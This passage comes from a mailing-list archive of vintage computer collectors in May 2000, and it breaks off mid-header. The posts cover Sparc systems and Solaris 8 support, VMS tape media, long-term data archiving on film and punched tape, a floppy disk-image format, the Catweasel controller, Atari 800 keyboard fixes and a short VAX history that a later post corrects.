100 Portable, in the deluxe hard case ::> with tape drive and accoustic coupler modem for $5! Works like a charm. This reminds me. Does anyone out there have M100 (or even better NEC 8201A) RAM for sale? Club 100 has some listed but they claim to be (almost) out of stock. My poor 24K N82 needs a bigger brain. N82 RAM cartridges would be even better (the big ones that plug into the side). -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- What you don't know won't help you much either. -- D. Bennett -------------- From mcguire at neurotica.com Wed May 31 11:51:31 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:52:09 2005 Subject: Finds In-Reply-To: Re: Finds (Mike Ford) References: <20000531142113.96331.qmail@hotmail.com> Message-ID: <14645.17171.265685.828635@phaduka.neurotica.com> On May 31, Mike Ford wrote: > >A Sparcstation 10 -- Fantastic. Got to find something like that for > >Solaris 8. > > Will 8 run on a 10, my wife wants a home system to play with instead of the > E250 she has at the office, and told me she needs at least a 5 (which is a > much newer system than a 10 or 20 right?). Newer than a 10, about the same age as a 20 as I recall... -Dave McGuire From mikeford at socal.rr.com Wed May 31 12:44:00 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:09 2005 Subject: OT: Archiving data (LONG) In-Reply-To: References: Message-ID: >> Maybe photographic film quality "paper tape" is the answer. The other >> solution may be photographic film floppy disks. I'd better get right off to >> my patent attorney and file. > >Mylar punched paper tape has a VERY long lifetime and is even human >readable (well sorta ;)). What ever happened to the really high density laser punched mylar/paper tape that was being talked about so much a few years ago? Much higher density than magnetic tape, and very very long archival life. From cmcmanis at mcmanis.com Wed May 31 12:04:39 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:09 2005 Subject: VMS media availability for VAX 8530 In-Reply-To: <20000531140707.17444.qmail@hotmail.com> References: <01e501bfcaa6$21b2a180$de2c67cb@stmarks.pp.catholic.edu.au> Message-ID: <4.3.2.7.2.20000531100030.02bac3c0@208.226.86.10> At 10:11 AM 5/31/00 -0400, you wrote: >I've got VMS 2.something on 8" floppies, and VMS 5.something on TK-50 tapes, >but that's it. There might be a way to finagle VMS onto the 9 track or 5.25" >media from the current OpenVMS distro on CD. An interesting question. I've VMS 4.x, 5.x, 6.x, and 7.x distributions on various media but none on 9-trk. I tried to get one recently but it had already been thrown away (youch!). So is it possible for VMS to _create_ distribution media? Can you clone from one type to another? I could, presumably create a 9 track tape with the save sets on them and then create one with standalone backup so that you could boot standalone backup, and then copy the save sets. Would that be sufficient? (Unfortunately my TU81+ is out for the count, no doubt another one will tumble this way.) --Chuck From ckaiser at oa.ptloma.edu Wed May 31 12:10:15 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:52:09 2005 Subject: Finds In-Reply-To: from Mike Ford at "May 31, 0 09:32:13 am" Message-ID: <200005311710.KAA10548@oa.ptloma.edu> ::Will 8 run on a 10, my wife wants a home system to play with instead of the ::E250 she has at the office, and told me she needs at least a 5 (which is a ::much newer system than a 10 or 20 right?). Speaking of finds, I'd love to find a girlfriend who even knows what a Sparc 5 is. *sigh* ;-) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- Do you think I could buy back my introduction to you? -- Groucho Marx ------ From cisin at xenosoft.com Wed May 31 12:04:02 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:52:09 2005 Subject: Archiving data In-Reply-To: <000531123346.202007ad@trailing-edge.com> Message-ID: On Wed, 31 May 2000 CLASSICCMP@trailing-edge.com wrote: > This isn't particularly new technology, but it'll probably never become > widely used in the consumer sector. Most end-consumers simply don't > think even a couple of years ahead; witness all the folks who transferred > home movies to videotape, which might last for a decade > or two at most, and then tossed the original film. The original film > would've been good for centuries if processed properly. ^^^^^^^^^^^^^^^^^^^^^ Competent archival processing is not easy to come by. Does the guy in the Fotomat booth know which box to check? Also, don't forget the dangers/fears relating to nitrate film, nor the decomposition of cellulose film. Binary data storage on film is an old traditional concept. Look at the rapid selector work by Emmanual Godberg, and the later copies by Vannevar Bush. Stone tablets seem especially promising for longevity. But there is also the issue of the society forgetting how to decode/read any media. Does anyone know any more of the data structures on Stonehenge, other than that it is hard-sectored, and that sand-blasting is required to erase a file? -- Grumpy Ol' Fred cisin@xenosoft.com From rachael_ at gmx.net Tue May 30 12:15:54 2000 From: rachael_ at gmx.net (Jacob Dahl Pind) Date: Sun Feb 27 18:52:09 2005 Subject: Defining Disk Image Dump Standard Message-ID: <5281.185T2736T10954628rachael_@gmx.net> >On Fri, 26 May 2000 Vintage Computer GAWD! wrote: >> On Fri, 26 May 2000, John Foust wrote: >> >> > Below is the section from the manual that describes their >> > file format. >> > >> > Each sector written to the file is optionally preceded by an >> > 8-byte header record of the following form: >> > >> > >> > +------+------+------+------+------+------+----------+ >> > | ACYL | ASID | LCYL | LSID | LSEC | LLEN | COUNT | >> > +------+------+------+------+------+------+----------+ >> > >> > ACYL Actual cylinder, 1 byte >> > ASID Actual side, 1 byte >> > LCYL Logical cylinder; cylinder as read, 1 byte >> > LSID Logical side; or side as read, 1 byte >> > LSEC Sector number as read, 1 byte >> > LLEN Length code as read, 1 byte >> > COUNT Byte count of data to follow, 2 bytes. If zero, >> > no data is contained in this sector. >> > >> > All sectors occurring on a side will be grouped together; >> > however, they will appear in the same order as they occurred on >> > the diskette. Therefore, if an 8 sector-per-track diskette were >> > scanned which had a physical interleave of 2:1, the sectors might >> > appear in the order 1,5,2,6,3,7,4,8 in the DOS dump file. >> > >> > After the last specified cylinder has been written to the DOS >> > file, AnaDisk returns to the Main Menu. >> >> This is a good start. The header should include a byte that contains a >> flag indicating the status of the sector (good, bad, etc). >This seems rather "high level" if you are wanting to preserve the exact disk >contents. Though it may be all you can do using a standard PC floppy >controller. >> What about odd formats? I take my experience from the Apple ][. You had >> stuff like half-tracks and quarter-tracks (the head was stepped half-way >> or half of half-way between tracks to store data), odd disk formats >> (custom sector sizes, custom sector layouts, etc.), synchronization >> between tracks (one copy protection scheme was to write a two tracks so >> that if a seek was done from one track to the other, a specific sector >> would be expected under the head as soon as it got to the next track). >I would like to be proved wrong, but there is no way to account for every >possible strange thing that could be done in terms of custom formats, >copy-protection etc., at least in a high level file format that doesn't just >sample the bits coming from the disk. >It would be possible to construct a device for archiving disks at a very low >level. I guess this would be similar to commercial floppy disk duplicators, >except writing data to a file instead of another floppy. The bit stream from >the disk would be sampled at a very high rate to allow for various tricks >that could be done. Or by modifying a floppy drive, the analogue signal from >the read head could be sampled. Tricks like "pulsing" the drive motor during >a write to vary rotation rate, changing the data rate mid-write (e.g. 2us vs >4us per bit cell), changing precompensation values mid write, using custom >non-MFM-or-GCR coding methods, reducing drive motor speed for some tracks >(thus writing long tracks which cannot be duplicated on an unmodified >drive/computer),... >[Long tracks are a common form of copy-protection on Amiga games.] >Such a low-level dump of raw data would at least preserve all (or almost all) >information on the disk. Successfully writing an exact duplicate back to >another floppy would depend on the capabilities of your disk controller. >Still, such as image file could be easily supported by emulators. Also bad >sectors would be preserved, meaning that recovery of most of the data from >them would be possible. >> The AnaDisk software doesn't seem to accomodate copy protected or >> custom-format disks. The standard will have to address these disks as >> well. >You may know that Amiga computers have very flexible floppy controller >hardware. There are several programs on the Amiga that are intended to >image/archive disks at a low level. >These read the raw bits from an entire track in one pass, and store that >(from index to index, plus some). This is independent of the coding method >used >(MFM, GCR or whatever), and of course preserves sector order, distance >between sectors etc. It should be possible to successfully archive almost any >PC floppy disk that way, protected or not. >I don't have many copy-protected PC floppies. Was any famously "evil" type of >disk-based copy-protection used for PC software? I would quite like to try >making a working backup of a disk like this. >The Catweasel disk controller hardware (available as an ISA card for PCs) is >capable of similar things. However due to its developer (stupidly IMO) >refusing to release details on how to program it directly, this would be of >no use; you're stuck with the provided drivers which are apparently pretty >poor. >- -- Mark -------------------------------------------------- = IF this computer is with us now... = =...It must have been meant to come live with us.= = (Belldandy - Goddess First class) = -------------------------------------------------- From rachael_ at gmx.net Wed May 31 11:36:39 2000 From: rachael_ at gmx.net (Jacob Dahl Pind) Date: Sun Feb 27 18:52:09 2005 Subject: Defining Disk Image Dump Standard Message-ID: <1492.186T1961T10564057rachael_@gmx.net> >On Sun, May 28, 2000 at 10:38:55PM +0000, Mark wrote: >>The Catweasel disk controller hardware (available as an ISA card for PCs) is >>capable of similar things. However due to its developer (stupidly IMO) >>refusing to release details on how to program it directly, this would be of >>no use; you're stuck with the provided drivers which are apparently pretty >>poor. >I thought he had changed his mind about this? When I first talked to him >he seemed pretty paranoid, but I think he eventually realized that there's >not a big enough market for there to be even a point in stealing his idea >and competing with him (although, I sure hope he's done a PCI version by >the time ISA slots disappear entirely). I certainly remember that he >softened his position about this, but I don't know if that turned into a >manual. Then again, the CW/ISA board comes with no manual anyway! >Anyway I sorted out a lot of the Catweasel/ISA details, from disassembly and >the few sources that were available when I was doing it, it might be enough >to write a driver (I've gotten stuck with my own work on RX01 and RX23 style >drivers, I can read data enough of the time to think I'm really close but it >works less than half the time). >Here's what I've worked out on the I/O ports (default base is 320h): Oh, i might try some of this info I have a catweasel, sitting in my amiga thoug. I would love to find a way to access the wierd 1mb format of the old cbm 8250 drive. Regards Jacob Dahl Pind From chris at mainecoon.com Wed May 31 12:12:16 2000 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 18:52:10 2005 Subject: Finds References: <20000531142113.96331.qmail@hotmail.com> from Jason McBrien at "May 31, 2000 10:26:05 am" Message-ID: <393547F0.D6F0F490@mainecoon.com> Mike Ford wrote: > Will 8 run on a 10, my wife wants a home system to play with instead of the > E250 she has at the office, and told me she needs at least a 5 (which is a > much newer system than a 10 or 20 right?). It's not age, it's architecture. The 4c family (1, 1+, 2, SLC/ELC/IPC/IPX) are not supported, but the 4m (5, 10 and 20 -- the 10 and 20 in both SuperSparc and HyperSparc) are supported. Saftey Hint: If upgrading from 7 to 8 *do not* blindly start with the "Solaris 8 Installation" CD -- it is the road to damntaion. Boot "Solaris 8 Software, 1 of 2" and you won't spend two hours questioning the parentage of the people responsible as I did. -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From foo at siconic.com Wed May 31 11:34:32 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:10 2005 Subject: OT: Archiving data (LONG) In-Reply-To: Message-ID: On Wed, 31 May 2000 allisonp@world.std.com wrote: > > Maybe photographic film quality "paper tape" is the answer. The other > > solution may be photographic film floppy disks. I'd better get right off to > > my patent attorney and file. > > Mylar punched paper tape has a VERY long lifetime and is even human > readable (well sorta ;)). Everytime this talk of using punched mylar cards to archive data comes up I have to laugh. First of all, do we all realize how many cards it would take to store even one floppy disk? And then, where are all these cards going to go? Where does one store millions of punched cards? Who's going to pay for this? The trick is to apply the solution that makes most sense for today and keep looking for new mediums to transfer the archive to. The best medium I see now is redudndant living systems, and what I mean by that is having the archives stored on a hard drive somewhere (connected to the internet), preferably with RAID, and have mirrors of that site in multiple places. This will allow for universal and immediate access. As systems die, the archive is simply moved on to the next host. Of course the archives could also be dumped to CD ROM every N years. Then, when something comes along to imrpove on CD technology, we move to that. Anyway, it's a matter of feasibility and practicality. Suggesting solutions like punched cards makes no sense when you're dealing with gigabytes of data. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Wed May 31 11:36:33 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:10 2005 Subject: OT: Archiving data (LONG) In-Reply-To: <000531123346.202007ad@trailing-edge.com> Message-ID: On Wed, 31 May 2000 CLASSICCMP@trailing-edge.com wrote: > I think mike was talking about storing data on photographic film, like > many of the microfiche data storage systems already in use, but intended > for direct computer reading. Many films will resolve 100 line pairs > per millimeter; this directly translates to about 3.2 MBytes per > square inch. Yes, but how long can we expect the film to last? Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From cisin at xenosoft.com Wed May 31 12:48:39 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:52:10 2005 Subject: Atari 800 keyboards In-Reply-To: <3934F04B.C286053E@cheta.net> Message-ID: That's one of the PRACTICAL uses of a keyboard actuator! Never mind trying to use a Selectric as a printer, the REAL use of a Dynatyper or KGS-80 is for copying megabytes of text to exercise a keyboard. -- Grumpy Ol' Fred cisin@xenosoft.com On Wed, 31 May 2000, Technoid Mutant wrote: > I know this may sound like a 'mad bomber' approach to a fix but I've > been an Atari hack for 17 years and really know the machines. > > The 800 and 1200xl machines have very robust keyboards that age well but > if not used in a long time will exhibit the behavior you are describing. > > The fix is to whack the heck out of every key on the keyboard many times > over. Something like 20+ keystrokes per key and don't spare it the > proper level of violence. Trust me and try it. Late model 800's and the > 1200xl had nearly identical keyboard construction. I've 'fixed' > numerous machines using this method with no failures. I think the > reason it works is it 'cleans' the contacts through repetition. > > > technoid@cheta.net > > > "Charles P. Hobbs (SoCalTip)" wrote: > > > I fired up my old Atari 800 this weekend, and it seems to work ok, > > except the keyboard is extremely flakey (some of the keys don't > > work too well unless you press really hard, and a few don't > > work at all). Any ideas? > From healyzh at aracnet.com Wed May 31 12:51:08 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:10 2005 Subject: Finds In-Reply-To: References: <200005311431.KAA00695@bg-tc-ppp542.monmouth.com> <20000531142113.96331.qmail@hotmail.com> from Jason McBrien at "May 31, 2000 10:26:05 am" Message-ID: >>A Sparcstation 10 -- Fantastic. Got to find something like that for >>Solaris 8. > >Will 8 run on a 10, my wife wants a home system to play with instead of the >E250 she has at the office, and told me she needs at least a 5 (which is a >much newer system than a 10 or 20 right?). I think it might be newer than the 10 or 20 family, but better? The question is what processor(s) does the 10 have. The 5 is a single processor system with a fixed processor that is either 70, 110, or 170Mhz (I think there is also anther speed in there somewhere). The 10's and 20's can have like three different CPU models in speeds running from 30-200Mhz. The Sun CPU models will let you go up to 2 CPU's, the ROSS modules will let you go up to 4 CPU's. I sure wish I could find a Sparc 10 for $25! My Sparc 2 cost me over $200 (although it has the 32MB S-Bus card in it for a total of 96MB :^). One real advantage of the 5/10/20's is they'll take a 100Mbit ethernet card, the earlier ones won't. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From jbmcb at hotmail.com Wed May 31 12:58:41 2000 From: jbmcb at hotmail.com (Jason McBrien) Date: Sun Feb 27 18:52:10 2005 Subject: Finds References: <20000531142113.96331.qmail@hotmail.com> <14645.17171.265685.828635@phaduka.neurotica.com> Message-ID: <20000531175348.72063.qmail@hotmail.com> Yeah, a SPARC10 will run Solaris 8, but I wouldn't even consider running CDE on it. My friend runs a SPARCStation 5 (a newer machine) and says it's almost unusuable, he's gonna slide back to 2.6. I picked this stuff up from the University of Michigan Property Disposition, or "The Mad Wolverine's Computer Emporium" where they price equipment using some sort of roulette wheel as far as I can tell. Quadra 950? $300. RA-82 Hard drive? $1. They've got a boatload of older Cisco routers right now (IGS, AGS+) for around $50 if someone is in the area and needs one. And yes, my girlfriend knows what a SPARCStation 5 is, and can program PERL in her sleep. Ah, bliss.... Now if she only understood why a quarter of the basement is taken up by machines almost older than we are... ----- Original Message ----- From: "Dave McGuire" To: Sent: Wednesday, May 31, 2000 12:51 PM Subject: Re: Finds > On May 31, Mike Ford wrote: > > >A Sparcstation 10 -- Fantastic. Got to find something like that for > > >Solaris 8. > > > > Will 8 run on a 10, my wife wants a home system to play with instead of the > > E250 she has at the office, and told me she needs at least a 5 (which is a > > much newer system than a 10 or 20 right?). > > Newer than a 10, about the same age as a 20 as I recall... > > -Dave McGuire > From wilson at dbit.dbit.com Wed May 31 13:01:14 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:10 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <1492.186T1961T10564057rachael_@gmx.net>; from rachael_@gmx.net on Wed, May 31, 2000 at 05:36:39PM +0100 References: <1492.186T1961T10564057rachael_@gmx.net> Message-ID: <20000531140114.A20194@dbit.dbit.com> On Wed, May 31, 2000 at 05:36:39PM +0100, Jacob Dahl Pind wrote: >Oh, i might try some of this info I have a catweasel, sitting in my amiga >thoug. FYI, I read through my code and found that that spiel I posted earlier had the sense of the STEP bit backwards, it is of course 0 to assert it, since the control register is simply a latch which drives the FDC bus directly (through NON inverting drivers). Dunno about the Amiga Catweasel but I'll bet it's close to the same, you can't get much simpler than this. I'm having a lot of problems with what look like crazy numbers coming out of the Catweasel/ISA RAM every so often. In one case I caught a situation where, on two different reads of the same sector header, every interval (between transitions in the FDD head data) is identical, except for one which is 25% lower and results in those transitions being decoded as 001 instead of 0001, so the whole header comes out wrong. I sent Jens a note but he's too busy getting ready for a show to deal with it right now, but I really don't see how that can be fixed in software. It would be one thing if a long interval appeared as several short intervals due to extra apparent transitions caused by noise (software could filter that out, up to a point), but a single short interval seems more like a hiccup in the interval timer (which measures the time between transitions in the RDATA pin, in 14 or 28 MHz ticks). John Wilson D Bit From jbmcb at hotmail.com Wed May 31 13:02:25 2000 From: jbmcb at hotmail.com (Jason McBrien) Date: Sun Feb 27 18:52:10 2005 Subject: VMS media availability for VAX 8530 References: <01e501bfcaa6$21b2a180$de2c67cb@stmarks.pp.catholic.edu.au> <4.3.2.7.2.20000531100030.02bac3c0@208.226.86.10> Message-ID: <20000531175733.30951.qmail@hotmail.com> This might help: http://vaxine.bitcon.no/section3.html#ss33 It tells you how to make a NetBSD boot tape in *nix and VMS. Maybe you can tar if= a disk image or something and tar=of onto a tape. Probably won't work but worth a shot. ----- Original Message ----- From: "Chuck McManis" To: Sent: Wednesday, May 31, 2000 1:04 PM Subject: Re: VMS media availability for VAX 8530 > At 10:11 AM 5/31/00 -0400, you wrote: > >I've got VMS 2.something on 8" floppies, and VMS 5.something on TK-50 tapes, > >but that's it. There might be a way to finagle VMS onto the 9 track or 5.25" > >media from the current OpenVMS distro on CD. > > An interesting question. I've VMS 4.x, 5.x, 6.x, and 7.x distributions on > various media but none on 9-trk. I tried to get one recently but it had > already been thrown away (youch!). So is it possible for VMS to _create_ > distribution media? Can you clone from one type to another? I could, > presumably create a 9 track tape with the save sets on them and then create > one with standalone backup so that you could boot standalone backup, and > then copy the save sets. Would that be sufficient? (Unfortunately my TU81+ > is out for the count, no doubt another one will tumble this way.) > > --Chuck > > From donm at cts.com Wed May 31 13:10:52 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:52:10 2005 Subject: OT: Archiving data (LONG) In-Reply-To: Message-ID: On Wed, 31 May 2000, McFadden, Mike wrote: > Archiving data has as many definitions as there are people interested in it. > At work we talk about archiving x-ray images on film for 7 years for adults > and 25 years for children. Physical loss of the data is more of a problem > than deterioration of the media. I have data on 12" optical packs that are > 5 years old and there are conversion/data retrieval services that will > retrieve my data but the cost is prohibitive. If I tell the powers in > charge (PIC) that it will cost them $5 to retrieve an image that was created > for $1 they think I am crazy. However if there is a lawyer making the > request and the risk is $10,000,000 then the PIC are happy to pay. > > Currently we may have for a single patient's cardiac angiography study about > 1,000 35mm images, about 1 GB. The system now uses CDROM-RW and puts the > images all on 1 CD using JPEG compression, they swear it will last 25 years. > I guess we will wait and see. > > The big issue for magnetic media archival is that it is an ongoing process > with very few retrievals ever actually requested. If every 5 years I need >From my experience, the retrievals of 'legacy' disk images is something above 'very few'. In about the past six years I have provided disks on about 385 individual orders, usually for multiple disks. Virtually all of this from TeleDisk images stored on a hard disk. - don > to refresh my magnetic data then I have a reoccurring cost. This seems to > be what many DP operations are planning. If I ask for lots of dollars for > saving old data most organizations will laugh. I'll bet when reality or a > lawsuit hits they will hope to beg forgiveness for loosing the data. > > Most media storage lifetimes are extrapolated from accelerated testing and > assume optimal humidity and temperature. If you want proven lifetimes then > there are only several known/proven methods. I know the government and the > Mormons, two separate entities, are storing data etched on iridium > substrates in human readable form. They talk about lifetimes of 1,000's of > years. Other examples are stone tablets, photographic film, and paper. I > think that we can eliminate stone tablets for storing magnetic data. Paper > seems to be cumbersome and is fairly fragile. That leaves photographic > methods. Photographic images from the Civil War still exist. Source code or > HEX dumps on photographic media may be the best way. > > Maybe photographic film quality "paper tape" is the answer. The other > solution may be photographic film floppy disks. I'd better get right off to > my patent attorney and file. > > I've started babbling. > Mike > > > From transit at lerctr.org Wed May 31 13:11:57 2000 From: transit at lerctr.org (Charles P. Hobbs (SoCalTip)) Date: Sun Feb 27 18:52:10 2005 Subject: Atari 800 keyboards In-Reply-To: <3934F04B.C286053E@cheta.net> Message-ID: On Wed, 31 May 2000, Technoid Mutant wrote: > The fix is to whack the heck out of every key on the keyboard many times > over. Something like 20+ keystrokes per key and don't spare it the > proper level of violence. Trust me and try it. Late model 800's and the > 1200xl had nearly identical keyboard construction. I've 'fixed' > numerous machines using this method with no failures. I think the > reason it works is it 'cleans' the contacts through repetition. > I've noticed the keyboard seems to be getting a bit better as I use it (a good strong stacatto touch helps too). Still want a 'backup' though... From jbmcb at hotmail.com Wed May 31 13:16:31 2000 From: jbmcb at hotmail.com (Jason McBrien) Date: Sun Feb 27 18:52:10 2005 Subject: VAX-11? and some C64 stuff References: Message-ID: <20000531181140.34079.qmail@hotmail.com> First, there was the PDP/8 which came out in the sixties. It was a largish "Minicomputer" meaning it didn't fill a room like the IBM 360's, but you couldn't exactly toss it in a closet either. Then came the PDP/11, which was a bit smaller and 16-Bit in the seventies. Then came the VAX 11/750, Digital's first 32-Bit mainframe, in the late seventies/early eighties, and dominated the minicomputer market for quite a while. The first VAXes where large cabinet sized affairs, needing wacky 380V power mains and hard drives the size of a decent size car transmission. Then came the VAXStation 2000, which had almost all the power of a VAX 11/750 in a case the size of a largish shoebox. The home minicomputer was born. Through the eighties DEC still made the huge company-running VAX 7000's, 8000's, 9000's, and 10000's, but also made smaller workstation-style counterparts, the VAX 3100's, 4000's, MicroVAXes, VAXStations, and VAX-Servers. You can pick up a 3100 or 2000 for under $50 if you look hard. 4000's are nicer and run upwards $100. You'll want to get a VAXStation, as opposed to a MicroVAX, cause it supports a monitor, MicroVAX's are terminal controlled. Also, you'll need the special DEC monitor that goes with whatever station you are buying, you can't use a chincy PC compatable monitor with a VAXStation. Good luck and happy VAXing! ----- Original Message ----- From: "John Rollins" To: Sent: Sunday, May 28, 2000 3:24 PM Subject: VAX-11? and some C64 stuff > What fun! I got a book called "VAX-11 Assembly Language Programming." > What's a VAX-11? > And I also ended up with yet another printer, an older wedge-shaped > C-64 with a 1541 drive, and lots of programming stuff for the C64. > HesMon, HesKit, Pascal, Forth, and a pile of assembly stuff. > Eventually I get around to putting it all together and try to program > it, but right now I don't have the room or the time(damn! college is > hard...). > -- > > > /--------------------------------------------------\ > | http://jrollins.tripod.com/ rexstout@uswest.net | > | list admin for orham and ham-mac at www.qth.net | > | KD7BCY pdxham at www.egroups.com | > \--------------------------------------------------/ > From healyzh at aracnet.com Wed May 31 13:13:03 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:10 2005 Subject: Finds In-Reply-To: <20000531175348.72063.qmail@hotmail.com> References: <20000531142113.96331.qmail@hotmail.com> <14645.17171.265685.828635@phaduka.neurotica.com> Message-ID: >Yeah, a SPARC10 will run Solaris 8, but I wouldn't even consider running CDE >on it. My friend runs a SPARCStation 5 (a newer machine) and says it's >almost unusuable, he's gonna slide back to 2.6. I picked this stuff up from I'm running a Sparc 2 w/96MB of RAM with 2.6 and CDE. It's usable, though a bit slow to start stuff up. Before I was able to get the extra 32MB in there though you could forget Netscrape, but with 96MB even Netscape's happy. Of course since I have a 60Mhz RS/6000 on my desk at work and refuse to give it up for a state of the art single or dual processor PC my opinions of acceptable speed might be a little outside the norm :^) Remember for most things stability is more important that speed. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From allisonp at world.std.com Wed May 31 13:36:41 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:10 2005 Subject: OT: Archiving data (LONG) In-Reply-To: <000531123346.202007ad@trailing-edge.com> Message-ID: > >Mylar punched paper tape has a VERY long lifetime and is even human > >readable (well sorta ;)). > > But not a particularly high density - 10 Bytes per square inch. True but technically simple. > I think mike was talking about storing data on photographic film, like > many of the microfiche data storage systems already in use, but intended > for direct computer reading. Many films will resolve 100 line pairs > per millimeter; this directly translates to about 3.2 MBytes per > square inch. This is something I can see as working well as films are well known and even partial optical failure can be reconstructed. It's possible to make it user simple with some thought as in 2d barcodes. Allison From allisonp at world.std.com Wed May 31 13:46:04 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:10 2005 Subject: OT: Archiving data (LONG) In-Reply-To: Message-ID: > > Mylar punched paper tape has a VERY long lifetime and is even human > > readable (well sorta ;)). > > Everytime this talk of using punched mylar cards to archive data comes up > I have to laugh. First of all, do we all realize how many cards it would Read carefully tape is not cards. > take to store even one floppy disk? And then, where are all these cards > going to go? Where does one store millions of punched cards? Who's going > to pay for this? First, whose twisting your arm? It was a thought, and only that! > keep looking for new mediums to transfer the archive to. The best medium > I see now is redudndant living systems, and what I mean by that is having I already do that. > Of course the archives could also be dumped to CD ROM every N years. > Then, when something comes along to imrpove on CD technology, we move to > that. Just like mag tape only maybe less often. > Anyway, it's a matter of feasibility and practicality. Suggesting > solutions like punched cards makes no sense when you're dealing with > gigabytes of data. Again reread tape is not cards! the information density of tape FYI is higher than cards and laks the "ordering" problem if dropped. Also no rule says 10 punches per linear inch is required, you could go 16 wide and 20 per inch upping the denity fourfold. Or better yet optically print the image (density limits already mentiond are 100-1000x). Dream a bit, maybe a cheap idea will emerge. Allison From mcguire at neurotica.com Wed May 31 13:47:53 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:52:10 2005 Subject: Finds In-Reply-To: Re: Finds (Zane H. Healy) References: <20000531142113.96331.qmail@hotmail.com> <14645.17171.265685.828635@phaduka.neurotica.com> Message-ID: <14645.24153.554761.420112@phaduka.neurotica.com> On May 31, Zane H. Healy wrote: > Of course since I have a 60Mhz RS/6000 on my desk at work and refuse to > give it up for a state of the art single or dual processor PC my opinions > of acceptable speed might be a little outside the norm :^) > > Remember for most things stability is more important that speed. While I agree 100%, it would seem that the unfortunate proliferation of PeeCees have all but killed that mindset. I suspect that most of us fight very hard to keep it alive. But...on the term "acceptable speed"...isn't that completely subjective? I mean, what's acceptable to you might be too slow for Joe Blow, or uselessly fast for Jane Doe...Intel would have us believe that we all do the exact same thing with our computers, and that the only possible thing that we should find acceptable is *their* brand of high-performance...i.e. blindingly fast until you try to do more than one thing at a time, then it goes into the toilet. Man, if your RS/6000 does the job, and you like it, then keep it, and more power to you! -Dave McGuire From mcguire at neurotica.com Wed May 31 13:58:32 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:52:10 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: Re: VAX-11? and some C64 stuff (Jason McBrien) References: <20000531181140.34079.qmail@hotmail.com> Message-ID: <14645.24792.416588.194832@phaduka.neurotica.com> On May 31, Jason McBrien wrote: > First, there was the PDP/8 which came out in the sixties. It was a largish > "Minicomputer" meaning it didn't fill a room like the IBM 360's, but you > couldn't exactly toss it in a closet either. Then came the PDP/11, which was > a bit smaller and 16-Bit in the seventies. Then came the VAX 11/750, > Digital's first 32-Bit mainframe, in the late seventies/early eighties, and > dominated the minicomputer market for quite a while. The first VAXes where > large cabinet sized affairs, needing wacky 380V power mains and hard drives > the size of a decent size car transmission. Then came the VAXStation 2000, > which had almost all the power of a VAX 11/750 in a case the size of a > largish shoebox. The home minicomputer was born. Through the eighties DEC > still made the huge company-running VAX 7000's, 8000's, 9000's, and 10000's, > but also made smaller workstation-style counterparts, the VAX 3100's, > 4000's, MicroVAXes, VAXStations, and VAX-Servers. You can pick up a 3100 or > 2000 for under $50 if you look hard. 4000's are nicer and run upwards $100. A few corrections here...the 11/750 was the second VAX model, not the first. The first was the 11/780. The VS2000 was approximately the performance of the 11/780, not the 11/750. The 7000, 9000, 1000, etc (not 8000) were mostly 90's machines, not 80's, if memory serves...some of which are still available for new purchases from DEC/Compuke, though not for much longer. > You'll want to get a VAXStation, as opposed to a MicroVAX, cause it supports > a monitor, MicroVAX's are terminal controlled. Also, you'll need the special ...depends completely on the intended application. Myself, I have 28 machines on my home network. Only ONE of them, the one I sit in front of every day, has a big tube and a framebuffer. The other ones are in the computer room making noise and belching out heat...where they most certainly DO NOT need a big 19" monitor taking up space, or a never-used framebuffer sucking up power and kernel code space. A single VT320 terminal with a very long serial cable sits in the side of the room on top of an UPS. When I need actual console access to the machines (which is very rare, only during some reboots, which are in themselves very rare here) I string the serial cable to the console port of the machine in question and I'm set. In another week or so, a terminal server will be connected to all the console ports, as well as the VT320 terminal. Then I won't even need to be downstairs (or in the house at all) to gain console access. -Dave McGuire From jbmcb at hotmail.com Wed May 31 14:08:37 2000 From: jbmcb at hotmail.com (Jason McBrien) Date: Sun Feb 27 18:52:10 